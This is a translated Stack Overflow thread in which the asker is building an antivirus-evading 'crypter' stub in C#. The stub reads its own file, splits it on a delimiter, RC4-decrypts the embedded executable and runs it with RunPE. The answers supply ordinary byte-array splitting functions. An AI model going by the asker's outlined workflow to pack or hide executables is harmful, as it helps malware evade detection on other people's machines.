logo标签列表

在一个字节数组中按照分隔符进行拆分

c#security
11

我有一个问题，这里的其他问题并没有帮到我。 我是一名安全学生，正在尝试为一个项目编写加密程序。对于那些不知道什么是加密程序的人，你们可以在这里了解一下。 http://www.gamekiller.net/tutorials-guides/17187-tut-making-crypter-vb6-using-rc4.html。

简而言之，加密器是旨在通过加密程序然后在前面附加一个“stub”（解密程序）来绕过防病毒软件的程序。 我遇到了一个非常烦人的问题，就是分割文件。

最麻烦的是，由于字符串会破坏我的加密的可执行文件中的某些字符，因此我必须将加密的可执行文件放入一个字节数组中。更糟糕的是，我仍然需要“分割”exe文件，这就是问题所在。

stub的基本思路是：

  • 获取当前exe路径
  • 通过File.ReadAllytes读取所有字节
  • 根据定界符“EVILDELIMITER”拆分文件
  • 获取最后一个字段（因为这是加密的EXE）
  • 使用RC4解密
  • 使用RunPE运行。

我已经完成了所有工作，除了最烦人的分割部分。 如何在定界符处拆分字节数组？ 有更简单的方法吗？

这是我到目前为止编写的stub代码。

public void main()
{
    string outpath = RandomString(8) + ".exe";
    byte[] key = { 33, 44, 55, 66, 77 };
    string apppath = Assembly.GetEntryAssembly();
    byte[] exe = File.ReadAllBytes(apppath);
    string strseperate = "EVILSEPERATOREVIL";
    System.Text.UTF8Encoding encoding = new System.Text.UTF8Encoding();
    byte[] seperator = encoding.GetBytes(strseperate);
    //Split code should go here

    exe = Decrypt(key, encrypted);
    Process.Start(outpath);
}

感谢任何帮助。

1
将编码转换为UTF8并不理想。这可能会导致无效的Unicode代码点。你应该尝试通过字节数组进行迭代。 - Polynomial
如何将字符串转换为字节数组？在搜索之前，我需要更改分隔符，除非您知道一个可以让我使用字符串值搜索字节数组的函数。我还修复了代码，我不小心使用了一个旧的存根版本。 - redcodefinal
@Roger 它向我抛出了一堆错误:( 它说字符串没有 ToArray<byte>() 方法。 - redcodefinal
6个回答
8
byte[] SeparateAndGetLast(byte[] source, byte[] separator)
{
  for (var i = 0; i < source.Length; ++i)
  {
     if(Equals(source, separator, i))
     {
       var index = i + separator.Length;
       var part = new byte[source.Length - index];
       Array.Copy(source, index, part, 0, part.Length);
       return part;
     }
  }
  throw new Exception("not found");
}

public static byte[][] Separate(byte[] source, byte[] separator)
{
    var Parts = new List<byte[]>();
    var Index = 0;
    byte[] Part;
    for (var I = 0; I < source.Length; ++I)
    {
        if (Equals(source, separator, I))
        {
            Part = new byte[I - Index];
            Array.Copy(source, Index, Part, 0, Part.Length);
            Parts.Add(Part);
            Index = I + separator.Length;
            I += separator.Length - 1;
        }
    }
    Part = new byte[source.Length - Index];
    Array.Copy(source, Index, Part, 0, Part.Length);
    Parts.Add(Part);
    return Parts.ToArray();
}

bool Equals(byte[] source, byte[] separator, int index)
{
  for (int i = 0; i < separator.Length; ++i)
    if (index + i >= source.Length || source[index + i] != separator[i])
      return false;
  return true;
}
你的实现看起来非常稳定，但是为什么Seperate返回一个byte[][]而不是一个普通的byte[]？因为只有一个分隔符，我只需要最后一个字段。 - redcodefinal
好的，快速问题，我应该把什么值放入<>中？它应该是byte[]对吗？ - redcodefinal
在 Seperate.Last<?>(); 中，应该是 byte[] 对吧？或者不允许给我一个字节数组？ - redcodefinal
可以使用上面代码中的简单 Separate(..).Last() 或者 SeparateAndGetLast(..)。 - Serj-Tm
解决方案可能正是我正在寻找的。只是想了解一下，Separate实际上是什么？它的用途是什么？您介意展示一些使用示例或对代码进行注释吗？如何获取分隔符的两侧？ - tinonetic
2

你的方法有一些缺陷——你将整个Byte[]读入内存，但解密是可流式处理的，因此你浪费了不必要的内存。其次，在CLR中无法“分割”数组（或字符串）。当你分割CLR字符串时，它会创建副本，这会浪费内存。

尝试使用以下方法：

public static void Main(String[] args) {

    using(FileStream fs = new FileStream( @"path\to\fileName.exe", FileMode.Read)) {

        BinaryReader rdr = new BinaryReader( fs );
        SeekToEndOfDelimiter( rdr );

        // Use an implementation of RC4 decryption that accepts Streams as arguments, then pass fs directly as an argument:
        using(FileStream output = new FileStream( @"path\to\out.exe", FileMode.Write)) {
            // Providing the key arguments is an exercise for the reader
            MyRc4Implementation.DecryptStream( fs, output, key );
        }
    }

}

private static void SeekToEndOfDelimiter(BinaryReader rdr) {
    // Implementing this code is an exercise left up to the reader.
    // But just iterate through each byte (assuming ASCII-compatible encoding) until you encounter the end of the delimiter
}

那里没有混乱的字节数组 :)
我不太确定如何实现这个。我以前从未使用过BianryReader。我也不太在意浪费内存，因为它并没有进行任何密集的操作，只是解密exe并在终止自身之前运行它。 - redcodefinal
2

如果想要直接使用字节而不是将它们复制到新的数组中，请使用ArraySegment。

以下是实现方法：

private static List<ArraySegment<byte>> Split(byte[] arr, byte[] delimiter)
{
    var result = new List<ArraySegment<byte>>();
    var segStart = 0;
    for (int i = 0, j = 0; i < arr.Length; i++)
    {
        if (arr[i] != delimiter[j])
        {
            if (j == 0) continue;
            j = 0;
        }

        if (arr[i] == delimiter[j])
        {
            j++;
        }

        if (j == delimiter.Length)
        {
            var segLen = (i + 1) - segStart - delimiter.Length;
            if (segLen > 0) result.Add(new ArraySegment<byte>(arr, segStart, segLen));
            segStart = i + 1;
            j = 0;
        }
    }

    if (segStart < arr.Length)
    {
        result.Add(new ArraySegment<byte>(arr, segStart, arr.Length - segStart));
    }

    return result;
}
1

这是我的代码。它只执行一次拆分操作，我没有尝试优化其性能。

public static byte[][] Split(this byte[] composite, byte[] seperator)
{
    bool found = false;

    int i = 0;
    for (; i < composite.Length - seperator.Length; i++)
    {
        var compositeView = new byte[seperator.Length];
        Array.Copy(composite, i, compositeView, 0, seperator.Length);

            found = compositeView.SequenceEqual(seperator);
        if (found) break;
    }

    if(found == false)
    {
        return null;
    }

    var component1Length = i;
    var component1 = new byte[component1Length];

    var component2Length = composite.Length - seperator.Length - component1Length;
    var component2 = new byte[component2Length];
    var component2Index = i + seperator.Length;

    Array.Copy(composite, 0, component1, 0, component1Length);
    Array.Copy(composite, component2Index, component2, 0, component2Length);

    return new byte[][]
    {
        component1,
        component2
    };
}

测试（部分）：

byte[] b1 = new byte[] { 1, 2, 3, 4, 1, 1, 5 };
byte[] b2 = new byte[] { 1, 1 };
var parts1 = b1.Split(b2); // [1,2,3,4],[5]

byte[] b3 = new byte[] { 1, 1, 3, 4, 4, 1, 5 };
byte[] b4 = new byte[] { 1, 1 };
var parts2 = b3.Split(b4); // [],[3,4,4,1,5]

byte[] b5 = new byte[] { 0, 0, 3, 4, 4, 1, 1 };
byte[] b6 = new byte[] { 1, 1 };
var parts3 = b5.Split(b6); // [0,0,3,4,4],[]

byte[] b7 = new byte[] { 1, 2, 3, 4, 5 };
byte[] b8 = new byte[] { 1, 2, 3, 4 };
var parts4 = b7.Split(b8); // [],[5]

byte[] b9 = new byte[] { 1, 2, 3, 4, 5 };
byte[] b0 = new byte[] { 2, 3, 4, 5 };
var parts5 = b9.Split(b0); // [1],[]

byte[] c1 = new byte[] { 1, 2, 3, 4, 5 };
byte[] c2 = new byte[] { 6 };
var parts6 = c1.Split(c2); // null
1
我知道我来晚了，但是...如果需要的话，你当然可以很容易地修改它以返回一个列表。我留下了注释/写入行，以防有帮助...这可能不是最优化的代码，但对于我的特定用例效果很好，我想分享一下。
    public static byte[][] SplitBytesByDelimiter(byte[] data, byte delimiter)
    {
        if (data == null) throw new ArgumentNullException(nameof(data));
        if (data.Length < 1) return null;

        List<byte[]> retList = new List<byte[]>();

        int start = 0;
        int pos = 0;
        byte[] remainder = null; // in case data found at end without terminating delimiter

        while (true)
        {
            // Console.WriteLine("pos " + pos + " start " + start);
            if (pos >= data.Length) break;

            if (data[pos] == delimiter)
            {
                // Console.WriteLine("delimiter found at pos " + pos + " start " + start);

                // separator found
                if (pos == start)
                {
                    // Console.WriteLine("first char is delimiter, skipping");
                    // skip if first character is delimiter
                    pos++;
                    start++;
                    if (pos >= data.Length)
                    {
                        // last character is a delimiter, yay!
                        remainder = null;
                        break;
                    }
                    else
                    {
                        // remainder exists
                        remainder = new byte[data.Length - start];
                        Buffer.BlockCopy(data, start, remainder, 0, (data.Length - start));
                        continue;
                    }
                }
                else
                {
                    // Console.WriteLine("creating new byte[] at pos " + pos + " start " + start);
                    byte[] ba = new byte[(pos - start)];
                    Buffer.BlockCopy(data, start, ba, 0, (pos - start));
                    retList.Add(ba);

                    start = pos + 1;
                    pos = start;

                    if (pos >= data.Length)
                    {
                        // last character is a delimiter, yay!
                        remainder = null;
                        break;
                    }
                    else
                    {
                        // remainder exists
                        remainder = new byte[data.Length - start];
                        Buffer.BlockCopy(data, start, remainder, 0, (data.Length - start));
                    }
                }
            }
            else
            {
                // payload character, continue;
                pos++;
            }
        }

        if (remainder != null)
        {
            // Console.WriteLine("adding remainder");
            retList.Add(remainder);
        }

        return retList.ToArray();
    }
0
这是通用版本。
    public static IList<ArraySegment<T>> Split<T>(this T[] arr, params T[] delimiter)
    {

        var result = new List<ArraySegment<T>>();
        var segStart = 0;
        for (int i = 0, j = 0; i < arr.Length; i++)
        {
            //If is match
            if (arr.Skip(i).Take(delimiter.Length).SequenceEqual(delimiter))
            {

                //Skip first empty segment
                if (i > 0)
                {
                    result.Add(new ArraySegment<T>(arr, segStart, i - segStart));
                }

                //Reset
                segStart = i;
            }      
        }

        //Add last item
        if (segStart < arr.Length)
        {
            result.Add(new ArraySegment<T>(arr, segStart, arr.Length - segStart));
        }

        return result;
    }
不鼓励只提供代码的答案。请点击编辑并添加一些概括您的代码如何解决问题的话语，或者解释您的答案与先前答案的区别。谢谢。 - Nick
网页内容由stack overflow 提供, 点击上面的
可以查看英文原文，
原文链接